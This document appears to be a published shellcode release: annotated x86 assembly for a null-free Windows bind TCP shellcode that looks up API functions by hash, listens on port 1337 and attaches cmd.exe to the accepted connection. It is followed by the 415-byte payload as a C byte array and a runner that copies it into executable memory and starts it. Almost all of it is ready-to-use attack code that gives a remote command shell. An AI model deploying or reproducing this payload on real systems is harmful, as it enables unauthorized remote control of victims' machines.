; Name: Windows/x86 - Bind TCP shellcode / Dynamic PEB & EDT method null-free Shellcode (415 bytes)
; Author: h4pp1n3ss
; Date: Wed 10/06/2021
; Tested on: Microsoft Windows [Version 10.0.19042.1237]
; Description:
; This a bind tcp shellcode that open a listen socket on 0.0.0.0 and port 1337. In order to accomplish this task the shellcode uses
; the PEB method to locate the baseAddress of the required module and the Export Directory Table to locate symbols.
; Also the shellcode uses a hash function to gather dynamically the required symbols without worry about the length.
start: ;
mov ebp, esp ;
add esp, 0xfffff9f0 ; Avoid null-bytes and stack clobbering
find_kernel32:
xor ecx, ecx ; ECX = Null
mov esi,fs:[ecx+0x30] ; ESI = &(PEB) ([FS:0x30])
mov esi,[esi+0x0C] ; ESI = PEB->Ldr
mov esi,[esi+0x1C] ; ESI = PEB->Ldr.InInitOrder
next_module: ;
mov ebx, [esi+0x08] ; EBX = InInitOrder[X].base_address
mov edi, [esi+0x20] ; EDI = InInitOrder[X].module_name
mov esi, [esi] ; ESI = InInitOrder[X].flink (next module)
cmp [edi+12*2], cx ; (unicode) module_name[12] == 0x00 / we found kernel32.dll?
jne next_module ; No: try next module
find_function_shorten: ;
jmp find_function_shorten_bnc ; short jump
find_function_ret: ;
pop esi ; ESI = POP return addres
mov [ebp+0x04], esi ; Save find_function address for later usage
jmp resolve_symbols_kernel32 ;
find_function_shorten_bnc: ;
call find_function_ret ; Call fund_function_ret PUSH ret address into the stack
find_function: ;
pushad ; Save all registers
mov eax, [ebx+0x3c] ; Offset of PE signature
mov edi, [ebx+eax+0x78] ; Export Table Directory RVA
add edi, ebx ; Export Table Directory VMA
mov ecx, [edi+0x18] ; NumberOfNames
mov eax, [edi+0x20] ; AddressOfNames RVA
add eax, ebx ; AddresOfNames VMA
mov [ebp-4], eax ; Save AddressOfName VMA for later usage
find_function_loop: ;
jecxz find_function_finished ; Jump to the end if ECX is 0
dec ecx ; Decrement our counter
mov eax, [ebp-4] ; Restore AddressOfNames VMA
mov esi, [eax+ecx*4] ; Get the RVA of the symbol name
add esi, ebx ; Set ESI to the VMA of the current symbol name
compute_hash: ;
xor eax, eax ; EAX = Null
cdq ; Null EDX
cld ; Clear direction flag
compute_hash_again:
lodsb ; Load the next bytes from ESI into al
test al, al ; Check for Null terminator
jz compute_hash_finished ; If the ZF is set, we've hit the NULL term
ror edx, 0x0d ; Rotate edx 13 bits to the right
add edx, eax ; Add the new byte to the accumulator
jmp compute_hash_again ; Next iteration
compute_hash_finished: ;
find_function_compare:
cmp edx, [esp+0x24] ; Compare the computed hash with the requested hash
jnz find_function_loop ; If it doesn't match go back to find_function_loop
mov edx, [edi+0x24] ; AddressOfNameOrdinals RVA
add edx, ebx ; AddressOfNameOrdinals VMA
mov cx, [edx+2*ecx] ; Extrapolate the function's ordinal
mov edx, [edi+0x1c] ; AddressOfFunctions RVA
add edx, ebx ; AddressOfFunctions VMA
mov eax, [edx+4*ecx] ; Get the function RVA
add eax, ebx ; Get the function VMA
mov [esp+0x1c], eax ; Overwrite stack version of eax from pushad
find_function_finished: ;
popad ; Restore registers
ret ;
resolve_symbols_kernel32: ;
push 0x78b5b983 ; TerminateProcess hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x10], eax ; Save TerminateProcess address for later usage
push 0xec0e4e8e ; LoadLibraryA hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x14], eax ; Save LoadLibraryA address for later usage
push 0x16b3fe72 ; CreateProcessA hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x18], eax ; Save CreateProcessA address for later usage
load_ws2_32: ;
xor eax, eax ; EAX = Null
mov ax, 0x6c6c ; EAX = 0x6c6c
push eax ; ESP = "ll"
push dword 0x642e3233 ; ESP = "32.dll"
push dword 0x5f327377 ; ESP = "ws2_32.dll"
push esp ; ESP = &("ws2_32.dll")
call dword [ebp+0x14] ; Call LoadLibraryA
resolve_symbols_ws2_32:
mov ebx, eax ; Move the base address of ws2_32.dll to EBX
push 0x3bfcedcb ; WSAStartup hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x1C], eax ; Save WSAStartup address for later usage
push 0xadf509d9 ; WSASocketA hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x20], eax ; Save WSASocketA address for later usage
push 0xc7701aa4 ; Bind hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x24], eax ; Save Bind address for later usage
push 0xe92eada4 ; listen hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x28], eax ; Save listen address for later usage
push 0x9f5b7976 ; WSAGetLastError hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x32], eax ; Save WSAGetLastError address for later usage
push 0x498649e5 ; accept hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x36], eax ; Save acccept address for later usage
call_wsastartup: ;
mov eax, esp ; Move ESP to EAX
mov cx, 0x590 ; Move 0x590 to CX
sub eax, ecx ; Substract CX from EAX to avoid overwriting the structure later
push eax ; Push lpWSAData
xor eax, eax ; EAX = Null
mov ax, 0x0202 ; Move version to AX
push eax ; Push wVersionRequired (0x00000202)
call dword [ebp+0x1C] ; Call WSAStartup(WORD wVersionRequired, LPWSADATA lpWSAData)
call_wsasocketa: ; WSASocketA(AF_INET = 2, SOCK_STREAM = 1, TCP = 6, NULL, NULL, NULL )
xor eax, eax ; EAX = Null
push eax ; Push dwFlags
push eax ; Push g
push eax ; Push lpProtocolInfo
mov al, 0x06 ; Move AL, IPPROTO_TCP
push eax ; Push protocol
sub al, 0x05 ; Substract 0x05 from AL, AL = 0x01
push eax ; Push type
inc eax ; Increase EAX, EAX = 0x02
push eax ; Push af
call dword [ebp+0x20] ; Call WSASocketA(2,1,6,0,0,0)
create_sockaddr_in_struct: ; sockaddr_in {AF_INET = 2; p1337 = 0x3905; INADDR_ANY = 0x5D00A8C0}
mov esi, eax ; Move the SOCKET descriptor to ESI
xor eax, eax ; EAX = Null
push eax ; Push sin_addr (any address 0.0.0.0)
mov ax, 0x3905 ; Move the sin_port (example: 1337) to AX (EAX = 0x00003905)
shl eax, 0x10 ; Left shift EAX by 0x10 bytes (EAX = 0x39050000)
add ax, 0x02 ; Add 0x02 (AF_INET) to AX
push eax ; Push sin_port & sin_family
push esp ; Push pointer to the sockaddr_in structure
pop edi ; EDI = &(sockaddr_in)
call_bind: ; bind(SOCKET *s = ESI, const sockaddr *addr = EDI, int namelen = 0x16)
xor eax, eax ; EAX = Null
add al, 0x16 ; Set AL to 0x16
push eax ; Push namelen
push edi ; Push *addr
push esi ; Push s
call dword [ebp+0x24] ; Call bind
call_wsagetlaserror: ; WSAGetLastError() (just for debugging purpouse)
call dword [ebp+0x32] ; Call WSAGetLastError
call_listen: ;
xor eax, eax ; EAX = Null
push eax ; Push backlog
push esi ; Push s
call dword [ebp+0x28] ; Call WS2_32!listen
call_accept: ; accept( SOCKET s, sockaddr *addr, int *addrlen)
xor eax, eax ; EAX = Null
push eax ; Push *addrlen (optional)
push eax ; Push *addr (optional)
push esi ; Push socket HANDLE from WSASocketA()
call dword [ebp+0x36] ; Call accept(SOCKET s ,Null, Null)
create_startupinfoa: ;
mov esi, eax ; Save Handle returned from accept() into ESI
push esi ; Push hStdError
push esi ; Push hStdOutput
push esi ; Push hStdInput
xor eax, eax ; EAX = Null
push eax ; Push lpReserved2
push eax ; Push cbReserved2 & wShowWindow
mov al, 0x80 ; Move 0x80 to AL
xor ecx, ecx ; EAX = Null
mov cl, 0x80 ; Move 0x80 to CL
add eax, ecx ; Set EAX to 0x100
push eax ; Push dwFlags
xor eax, eax ; EAX = Null
push eax ; Push dwFillAttribute
push eax ; Push dwYCountChars
push eax ; Push dwXCountChars
push eax ; Push dwYSize
push eax ; Push dwXSize
push eax ; Push dwY
push eax ; Push dwX
push eax ; Push lpTitle
push eax ; Push lpDesktop
push eax ; Push lpReserved
mov al, 0x44 ; Move 0x44 to AL
push eax ; Push cb
push esp ; Push pointer to the STARTUPINFOA structure
pop edi ; Store pointer to STARTUPINFOA in EDI
create_cmd_string: ;
mov eax, 0xff9a879b ; Move 0xff9a879b into EAX
neg eax ; Negate EAX, EAX = 00657865
push eax ; Push part of the "cmd.exe" string
push 0x2e646d63 ; Push the remainder of the "cmd.exe" string
push esp ; Push pointer to the "cmd.exe" string
pop ebx ; Store pointer to the "cmd.exe" string in EBX
call_createprocessa: ;
mov eax, esp ; Move ESP to EAX
xor ecx, ecx ; ECX = Null
mov cx, 0x390 ; Move 0x390 to CX
sub eax, ecx ; Substract CX from EAX to avoid overwriting the structure later
push eax ; Push lpProcessInformation
push edi ; Push lpStartupInfo
xor eax, eax ; EAX = Null
push eax ; Push lpCurrentDirectory
push eax ; Push lpEnvironment
push eax ; Push dwCreationFlags
inc eax ; Increase EAX, EAX = 0x01 (TRUE)
push eax ; Push bInheritHandles
dec eax ; EAX = Null
push eax ; Push lpThreadAttributes
push eax ; Push lpProcessAttributes
push ebx ; Push lpCommandLine
push eax ; Push lpApplicationName
call dword [ebp+0x18] ; Call CreateProcessA
call_terminate_process: ;
xor eax, eax ; EAX = Null
push eax ; uExitCode
push 0xffffffff ; HANDLE hProcess
call dword [ebp+0x04] ; Call TerminateProcess
[*]================================= POC =============================== [*]
/*
Shellcode runner author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// nasm -f win32 shellcode.asm -o shellcode.o
// objdump -D ./shellcode.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
unsigned char payload[] =
"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b"
"\x76\x1c\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06"
"\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03"
"\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b"
"\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca"
"\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xdf\x8b\x57\x24\x01\xda\x66\x8b"
"\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3"
"\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e\x0e\xec\xff\x55"
"\x04\x89\x45\x14\x68\x72\xfe\xb3\x16\xff\x55\x04\x89\x45\x18\x31\xc0\x66"
"\xb8\x6c\x6c\x50\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x55\x14"
"\x89\xc3\x68\xcb\xed\xfc\x3b\xff\x55\x04\x89\x45\x1c\x68\xd9\x09\xf5\xad"
"\xff\x55\x04\x89\x45\x20\x68\xa4\x1a\x70\xc7\xff\x55\x04\x89\x45\x24\x68"
"\xa4\xad\x2e\xe9\xff\x55\x04\x89\x45\x28\x68\x76\x79\x5b\x9f\xff\x55\x04"
"\x89\x45\x32\x68\xe5\x49\x86\x49\xff\x55\x04\x89\x45\x36\x89\xe0\x66\xb9"
"\x90\x05\x29\xc8\x50\x31\xc0\x66\xb8\x02\x02\x50\xff\x55\x1c\x31\xc0\x50"
"\x50\x50\xb0\x06\x50\x2c\x05\x50\x40\x50\xff\x55\x20\x89\xc6\x31\xc0\x50"
"\x66\xb8\x05\x39\xc1\xe0\x10\x66\x83\xc0\x02\x50\x54\x5f\x31\xc0\x04\x16"
"\x50\x57\x56\xff\x55\x24\xff\x55\x32\x31\xc0\x50\x56\xff\x55\x28\x31\xc0"
"\x50\x50\x56\xff\x55\x36\x89\xc6\x56\x56\x56\x31\xc0\x50\x50\xb0\x80\x31"
"\xc9\xb1\x80\x01\xc8\x50\x31\xc0\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50"
"\xb0\x44\x50\x54\x5f\xb8\x9b\x87\x9a\xff\xf7\xd8\x50\x68\x63\x6d\x64\x2e"
"\x54\x5b\x89\xe0\x31\xc9\x66\xb9\x90\x03\x29\xc8\x50\x57\x31\xc0\x50\x50"
"\x50\x40\x50\x48\x50\x50\x53\x50\xff\x55\x18\x31\xc0\x50\x6a\xff\xff\x55"
"\x04";
unsigned int payload_len = 415;
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec_mem, payload, payload_len);
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf("Shellcode Length: %d\n", strlen(payload));
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
